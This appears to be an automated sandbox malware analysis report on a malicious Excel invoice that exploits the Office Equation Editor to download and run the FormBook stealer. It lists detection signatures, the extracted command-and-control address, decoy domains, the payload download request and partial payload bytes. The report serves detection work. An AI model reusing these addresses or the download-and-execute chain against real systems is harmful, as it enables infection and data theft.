6.0.yldnat.exe.400000.9.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7db8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8142:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x154e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14f91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x155e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1575f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8b5a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1420c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x98d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab47:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.yldnat.exe.400000.9.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x179c9:$sqlite3step: 68 34 1C 7B E1 0x17adc:$sqlite3step: 68 34 1C 7B E1 0x179f8:$sqlite3text: 68 38 2A 90 C5 0x17b1d:$sqlite3text: 68 38 2A 90 C5 0x17a0b:$sqlite3blob: 68 53 D8 7F 8C 0x17b33:$sqlite3blob: 68 53 D8 7F 8C
6.2.yldnat.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.yldnat.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.yldnat.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
6.0.yldnat.exe.400000.5.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.yldnat.exe.400000.5.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7db8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8142:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x154e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14f91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x155e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1575f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8b5a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1420c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x98d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab47:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.yldnat.exe.400000.5.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x179c9:$sqlite3step: 68 34 1C 7B E1 0x17adc:$sqlite3step: 68 34 1C 7B E1 0x179f8:$sqlite3text: 68 38 2A 90 C5 0x17b1d:$sqlite3text: 68 38 2A 90 C5 0x17a0b:$sqlite3blob: 68 53 D8 7F 8C 0x17b33:$sqlite3blob: 68 53 D8 7F 8C
6.0.yldnat.exe.400000.7.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.yldnat.exe.400000.7.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.yldnat.exe.400000.7.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
6.0.yldnat.exe.400000.7.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
Click to see the 20 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 104.168.33.31, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2364, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49173

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2364, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 198.54.117.212

Timestamp:	192.168.2.22198.54.117.21249175802031412 05/14/22-15:20:54.628198
SID:	2031412
Source Port:	49175
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 198.54.117.212

Timestamp:	192.168.2.22198.54.117.21249175802031453 05/14/22-15:20:54.628198
SID:	2031453
Source Port:	49175
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 198.54.117.212

Timestamp:	192.168.2.22198.54.117.21249175802031449 05/14/22-15:20:54.628198
SID:	2031449
Source Port:	49175
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.arjimni.com/nc39/"], "decoy": ["bohicaapparel.com", "chilliesofwoodstock.com", "szcipa.com", "nirmalaswagruhafoods.com", "orbitas.online", "bjvxx.com", "atomvpn.site", "thecanvacoach.com", "thewhitelounge.com", "trwebz.xyz", "yiwanggkm.com", "maggiceden-io.com", "kimyanindelisi.online", "xn--e02b19uo0j.com", "kaola74.top", "klcsales.net", "renacerdevteam.com", "talkmoor.com", "seobusinesslistings.com", "contractornurd.com", "wolksquit.com", "hamiltonspringfield.com", "skinclash.com", "d-web.net", "tige03.xyz", "thereeldecoy.com", "dutyapparel.com", "vicentedotorarquitectos.com", "bensdrywall.com", "domainnetwoks.com", "incorrectbenevolence.com", "ramvadher.space", "dbluvt.xyz", "laps-clicks.com", "thewattelectric.com", "fogpromo.com", "ibcfitting.com", "get25000today.com", "do-hobbies-indoors.com", "marmagdistribuciones.com", "newworldtongpaihotels.net", "3astratford.com", "tocarrythemessage.com", "57shasha.club", "117colgett.com", "captainnoclue.com", "rapejesus.site", "grandas-svoboda.com", "apartmentpermis.com", "greatco.biz", "joneswoodworks.com", "lilatoons.com", "banalto.com", "caycilargida.online", "gangez.com", "tw-life.net", "treasuresofjudaica.com", "monin.one", "earthdefense.global", "troolygood.com", "eafc.tech", "southcarolinawire.xyz", "designstatussupport.com", "moorblaque.com"]}

Multi AV Scanner detection for submitted file

Source: DL03327INV.xlsx	Virustotal: Detection: 38%			Perma Link
Source: DL03327INV.xlsx	ReversingLabs: Detection: 26%

Yara detected FormBook

Source: Yara match	File source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: www.arjimni.com/nc39/	Avira URL Cloud: Label: malware
Source: http://www.arjimni.com/nc39/?dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3f=j6AdrVwh	Avira URL Cloud: Label: malware
Source: http://104.168.33.31/75/vbc.exe	Avira URL Cloud: Label: malware
Source: http://www.contractornurd.com/nc39/?dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA==&3f=j6AdrVwh	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	ReversingLabs: Detection: 51%
Source: C:\Users\Public\vbc.exe	ReversingLabs: Detection: 51%

Machine Learning detection for dropped file

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Joe Sandbox ML: detected

Source: 6.2.yldnat.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.yldnat.exe.120000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.3.EQNEDT32.EXE.6af7ba.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 6.0.yldnat.exe.400000.9.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.yldnat.exe.400000.5.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.yldnat.exe.400000.7.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe			Jump to behavior

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 104.168.33.31 Port: 80

Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\zjary\jjvucn\mxni\b98fa234680046ddacdf27145f9ff7b1\qjcbwv\ygyntjah\Release\ygyntjah.pdb source: vbc.exe, 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmp, yldnat.exe, 00000005.00000000.976220140.00000000013BE000.00000002.00000001.01000000.00000005.sdmp, yldnat.exe, 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmp, yldnat.exe, 00000006.00000000.982290199.00000000013BE000.00000002.00000001.01000000.00000005.sdmp, wuapp.exe, 00000008.00000002.1176125071.0000000002397000.00000004.10000000.00040000.00000000.sdmp, wuapp.exe, 00000008.00000002.1175572763.0000000000352000.00000004.00000020.00020000.00000000.sdmp, nss8A2D.tmp.4.dr, yldnat.exe.4.dr
Source:	Binary string: wntdll.pdb source: yldnat.exe, yldnat.exe, 00000006.00000003.985070971.00000000006C0000.00000004.00000800.00020000.00000000.sdmp, yldnat.exe, 00000006.00000002.1032618043.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, yldnat.exe, 00000006.00000003.983271572.0000000000560000.00000004.00000800.00020000.00000000.sdmp, yldnat.exe, 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, wuapp.exe, wuapp.exe, 00000008.00000003.1032134115.0000000000780000.00000004.00000800.00020000.00000000.sdmp, wuapp.exe, 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, wuapp.exe, 00000008.00000002.1175921231.0000000002010000.00000040.00000800.00020000.00000000.sdmp, wuapp.exe, 00000008.00000003.1033412733.0000000001D00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wuapp.pdb source: yldnat.exe, 00000006.00000002.1031989955.0000000000030000.00000040.10000000.00040000.00000000.sdmp, yldnat.exe, 00000006.00000002.1032320172.0000000000484000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405D7A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,	4_2_004069A4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,	4_2_0040290B

Software Vulnerabilities

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D04FF URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_036D04FF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D052D ShellExecuteW,ExitProcess,	2_2_036D052D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D0494 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_036D0494
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D03EF ExitProcess,	2_2_036D03EF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D0552 ExitProcess,	2_2_036D0552
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D04AE URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_036D04AE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D0424 URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_036D0424
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D0408 URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_036D0408
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D0518 ShellExecuteW,ExitProcess,	2_2_036D0518

Source: global traffic

DNS query: name: www.arjimni.com

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 104.168.33.31:80

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 104.168.33.31:80

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 23.81.214.26 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.arjimni.com
Source: C:\Windows\explorer.exe	Domain query: www.tw-life.net
Source: C:\Windows\explorer.exe	Domain query: www.contractornurd.com
Source: C:\Windows\explorer.exe	Domain query: www.yiwanggkm.com
Source: C:\Windows\explorer.exe	Network Connect: 164.155.217.57 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.212 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49175 -> 198.54.117.212:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49175 -> 198.54.117.212:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49175 -> 198.54.117.212:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.arjimni.com/nc39/

Source: Joe Sandbox View

ASN Name: LEASEWEB-USA-SEA-10US LEASEWEB-USA-SEA-10US

Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3f=j6AdrVwh HTTP/1.1Host: www.arjimni.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA==&3f=j6AdrVwh HTTP/1.1Host: www.contractornurd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==&3f=j6AdrVwh HTTP/1.1Host: www.tw-life.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q==&3f=j6AdrVwh HTTP/1.1Host: www.yiwanggkm.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 198.54.117.212 198.54.117.212

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 May 2022 13:19:31 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29Last-Modified: Fri, 13 May 2022 09:36:08 GMTETag: "4065c-5dee1677234a5"Accept-Ranges: bytesContent-Length: 263772Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /75/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.168.33.31Connection: Keep-Alive

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036D04FF URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_036D04FF

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sat, 14 May 2022 13:20:49 GMTContent-Type: text/htmlContent-Length: 291ETag: "627e7264-123"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 14 May 2022 13:21:05 GMTContent-Type: text/htmlContent-Length: 466Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 d2 b3 c3 e6 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 71 71 2e 63 6f 6d 2f 34 30 34 2f 73 65 61 72 63 68 5f 63 68 69 6c 64 72 65 6e 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 